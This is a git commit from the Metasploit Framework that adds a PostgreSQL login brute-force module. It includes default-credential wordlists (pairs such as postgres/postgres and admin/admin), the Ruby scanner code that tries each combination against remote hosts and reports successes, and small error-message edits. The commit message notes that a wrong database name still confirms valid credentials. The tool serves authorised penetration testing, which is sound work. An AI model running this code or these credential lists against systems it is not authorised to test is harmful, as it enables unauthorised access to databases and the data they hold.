Fixes #769 by implementing a brute force module for Postgres. A couple notes: If you guess wrong at the database name, you still can try to login with a username and password -- you'll get a successful auth, but then get disconnected. So, that's pretty neat.
Also, since Postgres-PR uses the stock TCPSocket object, connection timeouts and other errors take forever. This is avoided in the brute forcer by pre-validating the connection with Rex::Socket, but this is a hack -- it would be better to convert Postgres-PR to a Rex::Socket flavor, so you also get nicer error messages and what all. I did fork it off the main distribute it already anyway, so may as well will open a feature bug on this, but it's pretty low priority. git-svn-id: file:///home/svn/framework3/trunk@8366 4d416f70-5f16-0410-b530-b9f4589650da
This commit is contained in:
parent
a052340703
commit
6e8e6ef16a
|
@ -0,0 +1,5 @@
|
|||
|
||||
tiger
|
||||
postgres
|
||||
password
|
||||
admin
|
|
@ -0,0 +1,3 @@
|
|||
|
||||
postgres
|
||||
admin
|
|
@ -0,0 +1,5 @@
|
|||
postgres postgres
|
||||
postgres password
|
||||
postgres admin
|
||||
admin admin
|
||||
admin password
|
|
@ -58,10 +58,10 @@ module Exploit::Remote::Postgres
|
|||
rescue RuntimeError => e
|
||||
case e.to_s.split("\t")[1]
|
||||
when "C3D000"
|
||||
print_error "#{ip}:#{port} Postgres - Bad database name: #{db} (Credentials '#{username}:#{password}' is OK)" if verbose
|
||||
print_status "#{ip}:#{port} Postgres - Invalid database: #{db} (Credentials '#{username}:#{password}' are OK)" if verbose
|
||||
return :error_database # Note this means the user:pass is good!
|
||||
when "C28000"
|
||||
print_error "#{ip}:#{port} Postgres - Bad username or password: '#{username}:#{password}'" if verbose
|
||||
print_error "#{ip}:#{port} Postgres - Invalid username or password: '#{username}':'#{password}'" if verbose
|
||||
return :error_credentials
|
||||
else
|
||||
print_error "#{ip}:#{port} Postgres - Error: #{e.inspect}" if verbose
|
||||
|
@ -104,7 +104,7 @@ module Exploit::Remote::Postgres
|
|||
rescue RuntimeError => e
|
||||
case e.to_s.split("\t")[1] # Deal with some common errors
|
||||
when "C42601"
|
||||
print_error "#{ip}:#{port} Postgres - Error: Bad SQL Syntax: '#{sql}'"
|
||||
print_error "#{ip}:#{port} Postgres - Error: Invalid SQL Syntax: '#{sql}'"
|
||||
when "C42P01"
|
||||
print_error "#{ip}:#{port} Postgres - Error: Table does not exist: '#{sql}'"
|
||||
when "C42703"
|
||||
|
|
|
@ -25,7 +25,6 @@ class Metasploit3 < Msf::Auxiliary
|
|||
},
|
||||
'Author' => [ 'todb' ],
|
||||
'License' => MSF_LICENSE,
|
||||
'Version' => '$Revision$',
|
||||
'References' =>
|
||||
[
|
||||
[ 'URL', 'www.postgresql.org' ]
|
||||
|
|
|
@ -0,0 +1,131 @@
|
|||
##
|
||||
# $Id$
|
||||
##
|
||||
|
||||
##
|
||||
# This file is part of the Metasploit Framework and may be subject to
|
||||
# redistribution and commercial restrictions. Please see the Metasploit
|
||||
# Framework web site for more information on licensing and terms of use.
|
||||
# http://metasploit.com/framework/
|
||||
##
|
||||
|
||||
require 'msf/core'
|
||||
|
||||
|
||||
class Metasploit3 < Msf::Auxiliary
|
||||
|
||||
include Msf::Exploit::Remote::Postgres
|
||||
include Msf::Auxiliary::AuthBrute
|
||||
include Msf::Auxiliary::Scanner
|
||||
include Msf::Auxiliary::Report
|
||||
|
||||
# Creates an instance of this module.
|
||||
def initialize(info = {})
|
||||
super(update_info(info,
|
||||
'Name' => 'PostgreSQL Login Utility',
|
||||
'Description' => %q{
|
||||
This module attempts to authenticate against a PostgreSQL
|
||||
instance using username and password combinations indicated
|
||||
by the USER_FILE, PASS_FILE, and USERPASS_FILE options.
|
||||
},
|
||||
'Author' => [ 'todb' ],
|
||||
'License' => MSF_LICENSE,
|
||||
'References' =>
|
||||
[
|
||||
[ 'URL', 'www.postgresql.org' ]
|
||||
],
|
||||
'Version' => '$Revision$'
|
||||
))
|
||||
|
||||
register_options(
|
||||
[
|
||||
OptPath.new('USERPASS_FILE', [ false, "File containing (space-seperated) users and passwords, one pair per line", File.join(Msf::Config.install_root, "data", "wordlists", "postgres_default_userpass.txt") ]),
|
||||
OptPath.new('USER_FILE', [ false, "File containing users, one per line", File.join(Msf::Config.install_root, "data", "wordlists", "postgres_default_user.txt") ]),
|
||||
OptPath.new('PASS_FILE', [ false, "File containing passwords, one per line", File.join(Msf::Config.install_root, "data", "wordlists", "postgres_default_pass.txt") ]),
|
||||
], self.class)
|
||||
|
||||
# Users must use user/pass/userpass files.
|
||||
deregister_options('USERNAME', 'PASSWORD', 'SQL')
|
||||
end
|
||||
|
||||
# Loops through each host in turn. Note the current IP address is both
|
||||
# ip and datastore['RHOST']
|
||||
def run_host(ip)
|
||||
tried_combos = []
|
||||
last_response = nil
|
||||
each_user_pass { |user, pass|
|
||||
# Stash these in the datastore.
|
||||
datastore['USERNAME'] = user
|
||||
datastore['PASSWORD'] = pass
|
||||
# Don't bother if we've already tried this combination, or if the last time
|
||||
# we tried we got some kind of connection error.
|
||||
if not(tried_combos.include?("#{user}:#{pass}") || [:done, :error].include?(last_response))
|
||||
last_response = do_login(user,pass,datastore['DATABASE'],datastore['VERBOSE'])
|
||||
else
|
||||
next
|
||||
end
|
||||
tried_combos << "#{user}:#{pass}"
|
||||
}
|
||||
end
|
||||
|
||||
# Alias for RHOST
|
||||
def rhost
|
||||
datastore['RHOST']
|
||||
end
|
||||
|
||||
# Alias for RPORT
|
||||
def rport
|
||||
datastore['RPORT']
|
||||
end
|
||||
|
||||
# Test the connection with Rex::Socket before handing
|
||||
# off to Postgres-PR, since Postgres-PR takes forever
|
||||
# to return from connection errors. TODO: convert
|
||||
# Postgres-PR to use Rex::Socket natively to avoid
|
||||
# this double-connect business.
|
||||
def test_connection
|
||||
begin
|
||||
sock = Rex::Socket::Tcp.create(
|
||||
'PeerHost' => rhost,
|
||||
'PeerPort' => rport
|
||||
)
|
||||
rescue Rex::ConnectionError
|
||||
print_error "#{rhost}:#{rport} Connection Error: #{$!}" if datastore['VERBOSE']
|
||||
raise $!
|
||||
end
|
||||
end
|
||||
|
||||
# Actually do all the login stuff. Note that "verbose" is really pretty
|
||||
# verbose, since postgres_login also makes use of the verbose value
|
||||
# to print diagnostics for other modules.
|
||||
def do_login(user=nil,pass=nil,database=nil,verbose=false)
|
||||
begin
|
||||
test_connection
|
||||
rescue Rex::ConnectionError
|
||||
return :done
|
||||
end
|
||||
msg = "#{rhost}:#{rport} Postgres -"
|
||||
print_status("#{msg} Trying username:'#{user}' with password:'#{pass}' against #{rhost}:#{rport} on database '#{database}'") if verbose
|
||||
result = postgres_login(
|
||||
:db => database,
|
||||
:username => user,
|
||||
:password => pass
|
||||
)
|
||||
case result
|
||||
when :error_database
|
||||
print_good("#{msg} Success: #{user}:#{pass} (Database '#{database}' failed.)")
|
||||
return :next_user # This is a success for user:pass!
|
||||
when :error_credentials
|
||||
print_error("#{msg} Username/Password failed.") if verbose
|
||||
return
|
||||
when :connected
|
||||
print_good("#{msg} Success: #{user}:#{pass} (Database '#{database}' succeeded.)")
|
||||
postgres_logout
|
||||
return :next_user
|
||||
when :error
|
||||
print_error("#{msg} Unknown error encountered, quitting.") if verbose
|
||||
return :done
|
||||
end
|
||||
end
|
||||
|
||||
end
|
Loading…
Reference in New Issue